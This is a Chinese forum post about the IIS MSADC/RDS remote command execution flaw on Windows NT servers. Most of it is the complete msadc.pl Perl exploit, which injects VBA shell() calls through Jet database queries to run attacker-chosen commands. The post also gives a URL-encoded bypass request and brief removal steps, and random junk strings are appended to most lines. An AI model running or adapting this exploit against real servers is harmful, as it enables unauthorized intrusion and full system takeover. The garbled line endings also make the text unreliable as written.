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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) !8$RBD %  
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涉及程序: cy1jZ1)  
Microsoft NT server doD>m?rig3  
TpP8=8_Lh  
描述: <AUWby,"  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 /s[DI;M$o  
'ere!:GJD  
详细: )N7n,_#T>  
如果你没有时间读详细内容的话,就删除: l~1AT%  
c:\Program Files\Common Files\System\Msadc\msadcs.dll >IY,be6>P  
有关的安全问题就没有了。 yr{B5z,  
2OalAY6RS  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 J#7y< s  
@!\K>G >9[  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 -0 0}if7  
关于利用ODBC远程漏洞的描述,请参看: GZ8:e3ri  
I7mG/  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm %-j&e44  
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2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 XP;x@I#l  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp (1){A8=?o  
3k' .(P|F  
这里不再论述。 de YyaV  
aws"3O% uW  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: Z;b+>2oL  
A}G|Yfn  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset -3hCiKq  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! Q)^g3J  
 .mPg0  
x~/+RF XF  
#将下面这段保存为txt文件,然后: "perl -x 文件名" onl>54M^  
f0oek{  
#!perl ^\wl2  
# inF6M8 A1  
# MSADC/RDS 'usage' (aka exploit) script A/ 0qk  
# J_ J+cRwq  
# by rain.forest.puppy [xdj6W  
# \##`pa(8  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me +v15[^F  
# beta test and find errors! i&Kz*,pt  
$(q8y/,R*-  
use Socket; use Getopt::Std; G;]:$J  
getopts("e:vd:h:XR", \%args); _N'75  
VzwPBQ -  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; @2' %o<lF  
(ZPXdr  
if (!defined $args{h} && !defined $args{R}) { 7ZFJexN]  
print qq~ Z$;"8XUM  
Usage: msadc.pl -h <host> { -d <delay> -X -v } F~_;o+e;X  
-h <host> = host you want to scan (ip or domain) ^?"^Pmw  
-d <seconds> = delay between calls, default 1 second zk=\lp2  
-X = dump Index Server path table, if available e|'N(D}h*  
-v = verbose !T'X 'Q  
-e = external dictionary file for step 5 nq;#_Rkr  
7Dt"]o"+  
Or a -R will resume a command session wUp)JI  
P*G+eqX  
~; exit;} r4eUZ .8R  
RP` `mI  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; RJc%, ]:  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} X+ f9q0  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} rsF:4G"%  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); SRz&Nb  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} TzM=LvA  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 2Q ayM?k8  
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if (!defined $args{R}){ $ret = &has_msadc; #":a6%0Q  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} JJf<*j^G  
59!)j>f  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" fLB1)kTS  
. "cmd /c "; 77We;a  
$in=<STDIN>; chomp $in; .3wY\W8Dr-  
$command="cmd /c " . $in ; o3h-=t  
GLh]G(  
if (defined $args{R}) {&load; exit;} D1X{:#|  
^M Ey,  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; BaL]mIx  
&try_btcustmr; T1N H eH>  
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print "\nStep 2: Trying to make our own DSN..."; F?4Sz#  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; ')o0O9/;  
xP@/9SM  
print "\nStep 3: Trying known DSNs..."; I@./${o  
&known_dsn; >XE`h 9  
,w`~K:b.  
print "\nStep 4: Trying known .mdbs..."; CC8k&u,  
&known_mdb; aRwnRii  
f7+Cz>R  
if (defined $args{e}){ (9GbG"   
print "\nStep 5: Trying dictionary of DSN names..."; ./w{L"E  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } Hj~O49%j&  
9<cOYY  
print "Sorry Charley...maybe next time?\n"; jXR16|  
exit; ^ d\SPZ  
/V^sJ($V$~  
############################################################################## "ahvNx;x  
}kPVtSQ  
sub sendraw { # ripped and modded from whisker ;CmOsA,1  
sleep($delay); # it's a DoS on the server! At least on mine... 4lz{G*u  
my ($pstr)=@_; J{ ~Rxa  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || \ 4gXY$`@  
die("Socket problems\n"); t[2i$%NVM  
if(connect(S,pack "SnA4x8",2,80,$target)){ XxOn3i  
select(S); $|=1; dDlG!F_=  
print $pstr; my @in=<S>; 7~vqf3ON4J  
select(STDOUT); close(S); ]!Zty[  
return @in; GqUSVQ  
} else { die("Can't connect...\n"); }} )%mAZk-*;^  
b UvK  
############################################################################## l)8sw=  
y8?t-Pp]1  
sub make_header { # make the HTTP request % h+uD^^$  
my $msadc=<<EOT hKksVi  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 g42T#p8^  
User-Agent: ACTIVEDATA 4vqNule  
Host: $ip se,Z#H  
Content-Length: $clen 9} *$n&B  
Connection: Keep-Alive ~3=2=Uf  
AMT slo  
ADCClientVersion:01.06 h5-d;RKE  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 J Jy{@[m  
p\S8oHWe  
--!ADM!ROX!YOUR!WORLD! `C'}e  
Content-Type: application/x-varg ct0v$ct>f  
Content-Length: $reqlen f z%tA39m  
"{( [!  
EOT ( V4G<-jG  
; $msadc=~s/\n/\r\n/g; n`<U"$*  
return $msadc;} (,LL[&;:  
Y:pRcO.4g  
############################################################################## :_H>SR:  
re uYTH  
sub make_req { # make the RDS request ~zyQ('  
my ($switch, $p1, $p2)=@_; RWikJ   
my $req=""; my $t1, $t2, $query, $dsn; @HEPc95  
.B$h2#i1  
if ($switch==1){ # this is the btcustmr.mdb query a:u}d7T3e  
$query="Select * from Customers where City=" . make_shell(); v@_in(dk  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . h7?.2Q&S  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} H8i+'5x,?  
;3 UvkN  
elsif ($switch==2){ # this is general make table query 3;y_mg  
$query="create table AZZ (B int, C varchar(10))"; :qnokrGzB  
$dsn="$p1";} 1nB@zBQu -  
7bT /KLU  
elsif ($switch==3){ # this is general exploit table query J@` 8(\(  
$query="select * from AZZ where C=" . make_shell(); DHzkRCM  
$dsn="$p1";} Zh,]J `  
p&5S|![\  
elsif ($switch==4){ # attempt to hork file info from index server EUZq$@uWL  
$query="select path from scope()"; bp%S62Dj  
$dsn="Provider=MSIDXS;";} l* Y[^'  
|<Bpv{]P  
elsif ($switch==5){ # bad query -S$$/sR  
$query="select"; :bv|Ah  
$dsn="$p1";} q6&67u0  
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$t1= make_unicode($query); e\.HWV]I  
$t2= make_unicode($dsn); };p~A-E=  
$req = "\x02\x00\x03\x00"; Gl>E[iO  
$req.= "\x08\x00" . pack ("S1", length($t1)); K:w]> a  
$req.= "\x00\x00" . $t1 ; (1 yGg==W.  
$req.= "\x08\x00" . pack ("S1", length($t2)); ,n5a])Dg  
$req.= "\x00\x00" . $t2 ; h,]+>`b  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; wOcg4HlW  
return $req;}  /q*KO\L  
':sTd^V  
############################################################################## P)IjL&[  
^&m?qKN8  
sub make_shell { # this makes the shell() statement .e$%[ )D  
return "'|shell(\"$command\")|'";} rIlBH*aT  
5_aw. s>  
############################################################################## $e1:Q#den2  
V6+Zh>'S  
sub make_unicode { # quick little function to convert to unicode %EoH4LzT  
my ($in)=@_; my $out; H),RA]S  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } f0FP9t3k  
return $out;} KZ3B~#oQ  
F[`vH  
############################################################################## `[@VxGy_  
yFO)<GLk  
sub rdo_success { # checks for RDO return success (this is kludge) :gaETr  
my (@in) = @_; my $base=content_start(@in); o^PuhVu  
if($in[$base]=~/multipart\/mixed/){ w, 7Cr  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} z1Q2*:)c  
return 0;} *(nJX.7  
qUg9$oh{LI  
############################################################################## v= 8VvT 8  
Ky6+~>  
sub make_dsn { # this makes a DSN for us 6eo4#/+%  
my @drives=("c","d","e","f"); I61%H9 ;  
print "\nMaking DSN: "; ;^ov~PPl  
foreach $drive (@drives) { >13/h]3  
print "$drive: "; fz8h]PZ  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .  ~me\  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" H;wR  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); kjX7- ZPY  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; b[0S=e G  
return 0 if $2 eq "404"; # not found/doesn't exist zn^v!:[  
if($2 eq "200") { kp; &cQu!  
foreach $line (@results) { 1M/$< kQ-N  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} ;q &0,B  
} return 0;} P57GqT  
m9Il\PoTq  
############################################################################## -p^'XL*Z  
9'X@@6b*'  
sub verify_exists { _XWnS9  
my ($page)=@_; <S{7Ro  
my @results=sendraw("GET $page HTTP/1.0\n\n"); e?1KbJ?.  
return $results[0];} e&ts\0  
+9_,w bF  
############################################################################## @E(P9zQ/zy  
V" }*"P-%  
sub try_btcustmr { _<2 RYXBC  
my @drives=("c","d","e","f"); }Az'Zu4 =  
my @dirs=("winnt","winnt35","winnt351","win","windows");  z \^  
gi 5XP]z  
foreach $dir (@dirs) { Iy.mVtcsZ  
print "$dir -> "; # fun status so you can see progress ^Rk^XQCh  
foreach $drive (@drives) { %HVD^. V  
print "$drive: "; # ditto 9R>~~~{-Go  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; r},lu=em  
$reqlenlen=length( "$reqlen" ); HSC6;~U  
$clen= 206 + $reqlenlen + $reqlen; Tplg2p% k  
`Jqf**t  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); H\d;QN9Q;  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} kw#X]`c3  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} AbG&9=Ks  
D@*|24y  
############################################################################## [tz u;/  
U\?+s2I)v  
sub odbc_error { ,0,Oe=d  
my (@in)=@_; my $base; i=V-@|Z  
my $base = content_start(@in); z g)|rm  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this d^y86pq.  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; K?JV]^  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; +9jivOmK  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; `xGT_0&ck  
return $in[$base+4].$in[$base+5].$in[$base+6];} @Rf^P(  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; tbS#^Y  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . c`pYc  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} Cg7)S[zl  
c~37 +^B:  
############################################################################## ' rvE  
N:7.:Yw  
sub verbose { :U8k|,~f  
my ($in)=@_; 5E0wn'  
return if !$verbose; )Z&HuEg{ZR  
print STDOUT "\n$in\n";} w?i)/q  
:S#i9# aB  
############################################################################## }q]jjs  
K,]woNxaw  
sub save { r\B"?oqC  
my ($p1, $p2, $p3, $p4)=@_; .}`V I`z*  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; h*l cEzG?A  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; zNwc((  
close OUT;} ,k\/]9  
*iYMX[$  
############################################################################## ~Z7)x7 z  
1S&0  
sub load { A^t"MYX@  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; R7,p ukK  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); B9AbKK$`  
@p=<IN>; close(IN); b70AJe=  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); SbCJ|z#?  
$target= inet_aton($ip) || die("inet_aton problems"); -G FwFkWm  
print "Resuming to $ip ..."; l -XnB   
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; n~.%p  
if($p[1]==1) { [Zh2DNp  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; k5q(7&C  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; m+p4Mc%u  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); URk$}_39  
if (rdo_success(@results)){print "Success!\n";} x!>d 6lgej  
else { print "failed\n"; verbose(odbc_error(@results));}} pA*i!.E/b  
elsif ($p[1]==3){ aw]8V:)$J  
if(run_query("$p[3]")){ =m7CJc  
print "Success!\n";} else { print "failed\n"; }} uRFNfX(*  
elsif ($p[1]==4){ k~& o  
if(run_query($drvst . "$p[3]")){ *XHj)DC;  
print "Success!\n"; } else { print "failed\n"; }} 50COL66:7  
exit;} M*v^N]>"G  
y _6r/z^  
############################################################################## \_?yzgf  
pTN%;`) {  
sub create_table { xS-w\vbLV  
my ($in)=@_; s* @QT8%  
$reqlen=length( make_req(2,$in,"") ) - 28; ?,!uA)({n  
$reqlenlen=length( "$reqlen" ); am3V9 "\  
$clen= 206 + $reqlenlen + $reqlen; uht(3  
my @results=sendraw(make_header() . make_req(2,$in,"")); 1R*1BStc  
return 1 if rdo_success(@results); r.?qEe8VV  
my $temp= odbc_error(@results); verbose($temp);  GsI[N%  
return 1 if $temp=~/Table 'AZZ' already exists/; V, E9Uds  
return 0;} *Gf&q  
=Z^un&'  
############################################################################## ykJ+%gla  
 z I(xSX@  
sub known_dsn { g^qz&;R]  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go .iN-4"_j1  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", vs* >onCf  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", e<kpcF5{\  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); Xad G\_?t`  
.[#xQ=9`  
foreach $dSn (@dsns) { LE<:.?<Z-  
print "."; ^kc>m$HY  
next if (!is_access("DSN=$dSn")); -?[O"D"c  
if(create_table("DSN=$dSn")){ 6^WiZ^~  
print "$dSn successful\n"; 6Q?BwD+>  
if(run_query("DSN=$dSn")){ :vw0r`  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 1<;\6sg  
print "Something's borked. Use verbose next time\n";}}} print "\n";} e og\pMv  
U<K|jsFo  
############################################################################## *Rz!i m|  
jQO* oq}  
sub is_access { pHigxeV2  
my ($in)=@_; u<$S>  
$reqlen=length( make_req(5,$in,"") ) - 28; \dC.%#  
$reqlenlen=length( "$reqlen" ); 9zmD6G!}t  
$clen= 206 + $reqlenlen + $reqlen; =`rppO  
my @results=sendraw(make_header() . make_req(5,$in,"")); <yis  
my $temp= odbc_error(@results); 4 `j,&=  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 6\%r6_.d  
return 0;} B>ms`|q=l  
-/@|2!d  
############################################################################## 7YoofI  
u}Lc|_ea`  
sub run_query { 0TpBSyx.  
my ($in)=@_; qn5y D!1  
$reqlen=length( make_req(3,$in,"") ) - 28; @?'t@P:4  
$reqlenlen=length( "$reqlen" ); ~JAH-R  
$clen= 206 + $reqlenlen + $reqlen; c(QG4.)m  
my @results=sendraw(make_header() . make_req(3,$in,"")); ?ykVfO'  
return 1 if rdo_success(@results); 2,rY\Nu_  
my $temp= odbc_error(@results); verbose($temp); [lmHXf@1C  
return 0;} PWADbu{+  
d4b 9rtM  
############################################################################## #9URVq,  
v(i1Z}*b  
sub known_mdb { 6 Xzk;p  
my @drives=("c","d","e","f","g"); d;;>4}XJ]  
my @dirs=("winnt","winnt35","winnt351","win","windows"); }qG?Vmq*R[  
my $dir, $drive, $mdb; 7qCJ]%)b6  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; !#}v:~[A  
AsTMY02|  
# this is sparse, because I don't know of many aeN }hG  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 9:bh3@r/  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", nF|#@O`1  
"\\system32\\certmdb.mdb", dt`9RB$  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% \] tq7  
x.jYip  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", K0d-MC   
"\\cfusion\\cfapps\\forums\\forums_.mdb", s :-8 Z\,  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", <B|n<R<?  
"\\cfusion\\cfapps\\security\\realm_.mdb", Z!q2F%02FO  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", Z"teZ0H  
"\\cfusion\\database\\cfexamples.mdb", o[5=S,'  
"\\cfusion\\database\\cfsnippets.mdb", ;t.SiA  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", L7~+x^kw  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 6i*ArGA   
"\\cfusion\\brighttiger\\database\\cleam.mdb", S3%.-)ib  
"\\cfusion\\database\\smpolicy.mdb", ">0/>>Ry  
"\\cfusion\\database\cypress.mdb", I!C(K^  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", WLg6-@kxXs  
"\\website\\cgi-win\\dbsample.mdb", -o=P85 V  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", eXskwV+7  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" clPZd  
); #these are just @m !9"QhC  
foreach $drive (@drives) { @&nx;K6h  
foreach $dir (@dirs){ ^.pE`l%1}  
foreach $mdb (@sysmdbs) { [ZL r:2+z  
print "."; \NvC   
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ ae9k[=-  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 23B^g  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ @p9e:[  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; o$[a4I  
} else { print "Something's borked. Use verbose next time\n"; }}}}} k1QpX@  
/xX,   
foreach $drive (@drives) { a}[=_vb}K  
foreach $mdb (@mdbs) { :IP;Frc MP  
print "."; $S($97IU=  
if(create_table($drv . $drive . $dir . $mdb)){ ?3B t ;<^  
print "\n" . $drive . $dir . $mdb . " successful\n"; Lz#$_Am'H  
if(run_query($drv . $drive . $dir . $mdb)){ e')&ODQ H  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; nN_94 ZqS<  
} else { print "Something's borked. Use verbose next time\n"; }}}} }`+^|1  
} Ee$" O 6*!  
$ ufSNx(F  
############################################################################## 9H !B)  
Q KcF1?  
sub hork_idx { d[P>jl%7  
print "\nAttempting to dump Index Server tables...\n"; n)1  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; <{-(\>f!9  
$reqlen=length( make_req(4,"","") ) - 28; xVh\GU855  
$reqlenlen=length( "$reqlen" ); Cn6n4, 0  
$clen= 206 + $reqlenlen + $reqlen; rw=UK`  
my @results=sendraw2(make_header() . make_req(4,"","")); 6N)< o ;U  
if (rdo_success(@results)){ aPY>fy^8D  
my $max=@results; my $c; my %d; 82Z[eo  
for($c=19; $c<$max; $c++){ s= GOB"G  
$results[$c]=~s/\x00//g; V1CSXY\2  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; M<M# < kD  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; A .jp<>  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; \gJapx(  
$d{"$1$2"}="";} Xn ZX *Y]"  
foreach $c (keys %d){ print "$c\n"; } 7(+OsE  
} else {print "Index server doesn't seem to be installed.\n"; }} e GqvnNv  
' 5OVs:)"^  
############################################################################## lD;,I^Lt6  
\Z6gXO_  
sub dsn_dict { !S > |Qh  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); ziB]S@U  
while(<IN>){ N18diP[C  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; Nw3I   
next if (!is_access("DSN=$dSn")); 2EqsfU* I  
if(create_table("DSN=$dSn")){ =yhn8t7@]  
print "$dSn successful\n"; N,sqrk]  
if(run_query("DSN=$dSn")){ OH!$5FEc  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { vxzf[  
print "Something's borked. Use verbose next time\n";}}} d <|lLNS  
print "\n"; close(IN);} cc2oFn  
H>X\C;X[  
############################################################################## Jegx[*O>b  
yG4LQE  
sub sendraw2 { # ripped and modded from whisker +qSr=Y:+  
sleep($delay); # it's a DoS on the server! At least on mine... #0YzPMV  
my ($pstr)=@_; Ck/_UY|  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || &)"7am(S`  
die("Socket problems\n"); nM(=bEX  
if(connect(S,pack "SnA4x8",2,80,$target)){ cV=_G E  
print "Connected. Getting data"; '7O{*=`oj  
open(OUT,">raw.out"); my @in; WV !kA_  
select(S); $|=1; print $pstr; s:m<(8WRw  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} tsSS31cv  
close(OUT); select(STDOUT); close(S); return @in; .1[2 CjQ  
} else { die("Can't connect...\n"); }} hklO:,`  
nX.sh  
############################################################################## dx?njR  
v{rK_jq  
sub content_start { # this will take in the server headers MLv.v&@S  
my (@in)=@_; my $c; VT.{[Kl  
for ($c=1;$c<500;$c++) {  8H%I|fm  
if($in[$c] =~/^\x0d\x0a/){ zoJkDr=jn  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } Z 9 q{r s  
else { return $c+1; }}} HA3SQ  
return -1;} # it should never get here actually C}8e<[} )  
Vf,~MG  
############################################################################## WT ~dA95  
(-Ct!aW|  
sub funky { (61twutC  
my (@in)=@_; my $error=odbc_error(@in); K+\0}qn  
if($error=~/ADO could not find the specified provider/){ K^cWj_a"  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; EfrkB"  
exit;} Pguyf2/w  
if($error=~/A Handler is required/){ meM.?kk(  
print "\nServer has custom handler filters (they most likely are patched)\n"; |>/&EElD  
exit;} /Y\E68_Fh  
if($error=~/specified Handler has denied Access/){ lA Ck$E  
print "\nServer has custom handler filters (they most likely are patched)\n"; HBga'xJ  
exit;}} Sfr\%Buv  
lJ>QTZH!wW  
############################################################################## `6S=KRv  
,C'w(af@}  
sub has_msadc { <cfH '~  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); J!K/7u S  
my $base=content_start(@results); W1vAK  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); XpAq=p0;  
return 0;} e=F( Zf+1^  
{+UNjKQC  
######################## M@2Qn-I  
divZJc  
!K^Z5A_;  
解决方案: s*~jvL  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll :Z]+Z_9p  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 +8vzkfr3It  
/&!d  
拿出来充数 哈哈
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